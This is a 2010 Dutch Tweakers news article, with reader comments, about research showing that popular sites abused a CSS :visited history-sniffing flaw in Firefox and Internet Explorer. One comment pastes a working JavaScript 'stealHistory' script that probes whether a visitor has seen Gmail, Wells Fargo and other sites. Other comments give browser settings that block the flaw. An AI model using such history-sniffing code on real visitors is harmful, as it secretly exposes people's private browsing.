Cookies op Tweakers

Tweakers maakt gebruik van cookies, onder andere om de website te analyseren, het gebruiksgemak te vergroten en advertenties te tonen. Door gebruik te maken van deze website, of door op 'Ga verder' te klikken, geef je toestemming voor het gebruik van cookies. Wil je meer informatie over cookies en hoe ze worden gebruikt, bekijk dan ons cookiebeleid.

Meer informatie

Door , , 70 reacties

Een tien jaar oude privacybug in Firefox en Internet Explorer wordt actief misbruikt, blijkt uit onderzoek. Websites als YouPorn en PornHub kunnen met javascriptcode en de dom-interface de surfgeschiedenis van gebruikers achterhalen.

De websites maken gebruik van een al lang bekende fout in Firefox en Internet Explorer. Door in javascript een verwijzing naar een url te creëren en deze vervolgens te inspecteren, kan worden nagegaan of die specifieke url al is bezocht. De websites krijgen dus geen kant-en-klare lijst van websites die zijn bezocht, maar kunnen wel per adres controleren of deze in de browsergeschiedenis staat.

Dat is mogelijk doordat bezochte links in css onafhankelijk van niet-bezochte urls kunnen worden gemanipuleerd. Door in een ingevoegd css-bestand het element 'a:visited' aan te roepen, kan aan bezochte links bijvoorbeeld een andere kleur worden gegeven dan aan niet-bezochte links. Dat is precies wat de standaard-stylesheets van alle gangbare webbrowsers doen; url's die in de browsergeschiedenis van een gebruiker staan, krijgen een paarse kleur en adressen die nieuw zijn voor de browser worden blauw.

Het schiften van bezochte en nieuwe url's is bedoeld om het navigeren van websites eenvoudiger te maken. In combinatie met het document object model levert dit echter problemen op. Met de dom-interface van een webbrowser kunnen onder andere eigenschappen van elementen op een webpagina worden uitgelezen; zo kan worden geïnspecteerd welke rgb-kleurwaarde aan een bepaald element is toegekend. Wie de rgb-waarde van een a-element onderzoekt, kan daar dus uit concluderen of die link in de browsergeschiedenis van de bezoeker staat en dit bijvoorbeeld in een database opslaan.

Deze privacygevoelige ontwerpfout wordt actief misbruikt, blijkt uit onderzoek van de Universiteit van Californië. De onderzoekers inspecteerden de 50.000 websites die het best worden bezocht volgens Alexa, een bedrijf dat - niet al te nauwkeurige - schattingen geeft over het aantal bezoekers van websites. Van die 50.000 sites gebruikten er 485 verdachte code, die wellicht kan worden gebruikt om de gegevens over de surfgeschiedenis van gebruikers te verkrijgen. 46 websites maakten zich daadwerkelijk schuldig aan het inspecteren van de surfgeschiedenis. Veel schuldige websites versleutelden hun javascriptcode om het misbruik af te schermen.

De onderzoekers wijzen erop dat de privacygevoelige fout al tien jaar bekend is, maar dat grootschalig misbruik niet was aangetoond. Hoewel het aantal websites dat er gebruik van maakt relatief klein is, zitten er wel veelbezochte websites als YouPorn tussen. Dat er naast sites met enigszins dubieuze namen als YouPornCocks en FuckTube ook serieuze, bonafide websites als het financiële MorningStar en een F1-website van sportzender ESPN op de lijst staan, is opmerkelijk.

Volgens de onderzoekers is javascript onvoldoende tegen dit soort privacy-inbreuken beschermd. Bovendien hebben Firefox en Internet Explorer geen beveiliging ingebouwd tegen het uitlezen van de privacygevoelige informatie. Gebruikers van Apple Safari en Google Chrome zijn niet kwetsbaar, hoewel deze browsers pas dit jaar werden gepatcht.

Het onderzoek werd overigens niet met de hand uitgevoerd; de onderzoekers ontwikkelden een script dat automatisch de javascript-code op webpagina's inspecteert. Zij onderzochten webpagina's ook op andere vormen van privacy-inbreuken, zoals behavior tracking; populaire websites als YouTube, Yahoo en Microsoft-sites houden muisbewegingen van bezoekers bij, melden de onderzoekers. Dat dit gebeurt, is echter relatief bekend.

Gerelateerde content

Alle gerelateerde content (24)
Moderatie-faq Wijzig weergave

Reacties (70)

https://addons.mozilla.org/en-US/firefox/addon/1306/
om je geschiedenis te verbergen .

hier de hack...
var agent = navigator.userAgent.toLowerCase();
var is_mozilla = (agent.indexOf("mozilla") != -1);

// popular websites. Lookup if user has visited any.
var websites = [
"http://ajaxian.com/",
"http://digg.com/",
"http://login.yahoo.com/",
"http://mail.google.com/",
"https://online.wellsfargo.com/",
];

/* prevent multiple XSS loads */
if (! document.getElementById('xss_flag')) {

var d = document.createElement('div');
d.id = 'xss_flag';
document.body.appendChild(d);

var d = document.createElement('table');
d.border = 0;
d.cellpadding = 5;
d.cellspacing = 10;
d.width = '90%';
d.align = 'center';
d.id = 'data';
document.body.appendChild(d);

document.write('');
for (var i = 0; i <>');

/* launch steal history */

if (is_mozilla) {
stealHistory();
}

}

function stealHistory() {

// loop through websites and check which ones have been visited
for (var i = 0; i < websites.length; i++) {
var link = document.createElement("a");
link.id = "id" + i;
link.href = websites[i];
link.innerHTML = websites[i];
document.body.appendChild(link);
var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
document.body.removeChild(link);
// check for visited
if (color == "rgb(0, 0, 255)") {
document.write('' + websites[i] + '');
} // end visited check

} // end visited website loop

} // end stealHistory method
Overigens heeft Mozilla dit een paar maanden geleden al gedicht voor Firefox 4. In Firefox 3.5+ kun je layout.css.visited_links_enabled op false zetten om de "visited links" feature helemaal uit te schakelen :)

[Reactie gewijzigd door JanDM op 6 december 2010 17:13]

Bestaat er voor Firefox een extensie die waarschuwt als een website de kleurinformatie van een a element meerdere malen probeert uit te lezen?
Dit kun je in Firefox omzeilen door in je about:config het volgende aan te passen:

layout.css.visited_links_enabled = false

* Raar dat dat eigenlijk niet vermeld staat in het artikel....

[Reactie gewijzigd door E-Bastard op 6 december 2010 19:40]

Hulde, goede tip.
Gewoon "private browsing" inschakelen.
Zal dit nu niet ook gewoon gepatched worden in firefox nu het in het nieuws is? Als Safari en Chrome al eerder gepatched zijn moet het voor andere browsers toch ook mogelijk zijn?

off topic: hmm, is het nou gepatcht (zoals tweakers schrijft) of gepatched? Irritant ook, die Engelse woorden in het Nederlands :P

edit? Laat maar, ik lees net dat het in firefox 4 (en IE9) al gefixt/gefixed (:P) is.

[Reactie gewijzigd door Bonez0r op 7 december 2010 01:58]

Ik hoop dat Adobe ook eens met een browser komt die geoptimaliseerd is voor PDF browsen. Dan zijn we tenminste ook meteen van allerlei opmaak verschillen af. Prima, nu PDF toch een open standaard is geworden. Laat ze dan meteen iets aan de privacy bescherming doen.

Het hele cookies gebeuren mag van mij sowieso afgeschaft worden. Sla dat soort informatie liever in de server op in een profiel.

Ik zou iedereen die FireFox gebruikt willen adviseren om via Extra -> Opties -> Privacy
Cookies uit te schakelen en voor de vertrouwde sites "uitzonderingen" in te voeren.
Bijvoorbeeld "tweakers.net" , geen "www" ervoor zetten, kijk maar in de adresbalk.

Adobe Flash wordt trouwens ook door vele websites misbruikt in gegevens op te slaan tot 100kb in .SOL bestanden.

http://www.wired.com/epic...your-cookies-think-again/

Hier zijn de .SOL bestanden te vinden:
C:\Documents and Settings\ GEBRUIKERSNAAM \Application Data\Macromedia\Flash Player\#SharedObjects\

[Reactie gewijzigd door E_E_F op 7 december 2010 13:24]

Daarom bezoek ik YouPorn ook altijd met Google Chrome's incognito modus! :Y) Heeft 'ie helemaal geen history!

Meer ontopic:
Toch wel jammer dat de browsermakers een lek dat al zo lang bekend is niet dichten. Ik snap dat het aanvankelijk geintroduceerd is voor gebruiksgemak en dergelijke, maar het zou best wel beveiligd kunnen worden. Bijvoorbeeld door alleen links binnen hetzelfde domein als "visited" aan te merken voor JavaScript (maar wel als "visited" renderen voor de gebruiker).

@ajakkes en de rest: wat ik dus bedoel is dat links voor de gebruiker gewoon een ander kleurtje zouden moeten kunnen worden, terwijl als je het via JavaScript opvraagt het "standaardkleurtje" wordt teruggegeven (dus bijvoorbeeld voor de gebruiker is het paars en "voor JavaScript" is het blauw), als het een link betreft buiten het huidige domein. Dat zou én gebruiksvriendelijk zijn én veilig. Wat heeft een andere site immers van doen met de history van andere sites? Helemaal niets, dus die informatie zou ook gewoon niet beschikbaar moeten zijn.

[Reactie gewijzigd door 84969 op 6 december 2010 17:54]

Browsermakers aanzien het dan ook niet als een lek. Voor hen is het een afweging tussen functionaliteit en veiligheid. Je moet een middenweg zoeken. Het is trouwens ook niet de eerste keer dat deze techniek in de media komt.
Hij slaat in incognito modus geen history op, maar de bestaande history is volgens mij gewoon beschikbaar.

Echter zoals in het artikel te lezen is is chrome niet kwetsbaar voor dit gedoe.
En deze rendering dan alsnog opvraagbaar maken via javascript?

Als ik mij goed heb laten informeren zit er in FF4 wel een beveiliging tegen deze lek. Namelijk wel in de visited kleur renderen maar op het moment dat dit opgevraagd wordt wel de standaard kleur teruggeven.
Ok, dus dat doe je incognito... maar waarom incognito als je het hier op tweakers.net aan heel nederland en belgië verteld dat je op YouPorn zit te sneupen?
Laat het dan ook lekker in je geschiedenis staan, joh, kun je zó weer terug naar waar je gebleven was ;).
wat ik dus bedoel is dat links voor de gebruiker gewoon een ander kleurtje zouden moeten kunnen worden, terwijl als je het via JavaScript opvraagt het "standaardkleurtje" wordt teruggegeven
En als je nou controleert op een andere property? Misschien zet de website voor visited links met font-weight:bold of een background:yellow, of een padding:10px. Je weet maar nooit. En dat kan ook allemaal gewoon uitgelezen worden. Steker nog, met bold tekst zou je zelfs iets met de breedte van het element kunnen doen.
En uiteraard komen dit soort sites er mee weg. Omwille van hun content leven ze al op het randje van de wettelijkheid. Hun gebruikers weten dat, beseffen hun eigen kwetsbare positie door gebruik te maken van de diensten van die sites en gaan niet zo snel gerechtelijke actie durven ondernemen.
Hoezo op het randje van de wettelijkheid? Zolang het niet minderjarig is is er niets illegaals aan porno toch?
Niet dat al die site beheerders zulke brave jongentjes zullen zijn, maar dat heeft niet direct te maken met de content lijkt me.

Nu is dit natuurlijk geen handige actie om te doen, maar ik vraag me af of het niet op meer sites voorkomt (waarbij de vraag is hoe kwaadwillend de informatie gebruikt kan worden).

[Reactie gewijzigd door TERW_DAN op 6 december 2010 17:13]

Omwille van hun content leven ze al op het randje van de wettelijkheid.
Is dat zo? Hele volksstammen zijn er op uit om dit soort content te bannen, iedere strohalm zullen ze dan ook aangrijpen om de eigenaars juridisch aan te pakken. Dus als er één business op zijn tenen moet lopen...

Verder is porno niet verboden en is het eigenlijk niets bijzonders, het is gewoon 18+ materiaal. Geweld en religie zijn een heel stuk gevaarlijker dan een paar blote tieten :+
Ik denk eigenlijk dat hij bedoelt dat de content niet legaal verkregen is maar dat het veelal gaat om materiaal waar copyright op rust.
dat zal in firefox ook wel werken, in de privénavigatie. In ieder geval vergeet ie dan ook op welke pagina's je bent geweest.
Tjah Firefox en IE beide in privénavigatie lijkt het mij dat die websites niet veel informatie vergaren. Of begrijp ik het nou verkeerd?
http://samy.pl/csshack/ van raptorix werkt in ieder geval niet in de privénavigatie van firefox 3.6
http://samy.pl/csshack/ hier een werkend voorbeeld voor "normale" sites, voorbeeld is onderdeel van het evercookie script.
En hoe zit 't dan met Opera en de mobiele browsers eigenlijk?
Ja, en opera dan?
Opera heeft hier ook "last" van. Net getest met de laatste non-beta versie (10.63).
Gold toch alleen voor Fx 3.6 en niet voor Fx 4 :?
Een tien jaar oude privacybug in Firefox en Internet Explorer wordt actief misbruikt, blijkt uit onderzoek.
Is Firefox 10 jaar oud?!
In september 2002 kwam de eerste publieke versie 0.1 (Pescadero) uit onder de naam Phoenix
http://nl.wikipedia.org/wiki/Mozilla_Firefox#Geschiedenis

Nee dus, nog geen acht jaar zelfs.
Al kun je de achterliggende techniek en code met goede wil ook toeschrijven aan Firefox :)
Je leest het niet goed. De privacybug is tien jaar oud en bevindt zich in zowel Internet Explorer als Firefox.

Hoewel ik groot fan van Firefox ben is het eigenlijk onterecht dat die browser als eerste wordt genoemd door het artikel: Internet Explorer is ouder, bekender en heeft een groter marktaandeel. [pestmode] en bevat veel meer bugs! [/pestmode]

Op dit item kan niet meer gereageerd worden.



Apple iOS 10 Google Pixel Apple iPhone 7 Sony PlayStation VR AMD Radeon RX 480 4GB Battlefield 1 Google Android Nougat Watch Dogs 2

© 1998 - 2016 de Persgroep Online Services B.V. Tweakers vormt samen met o.a. Autotrack en Carsom.nl de Persgroep Online Services B.V. Hosting door True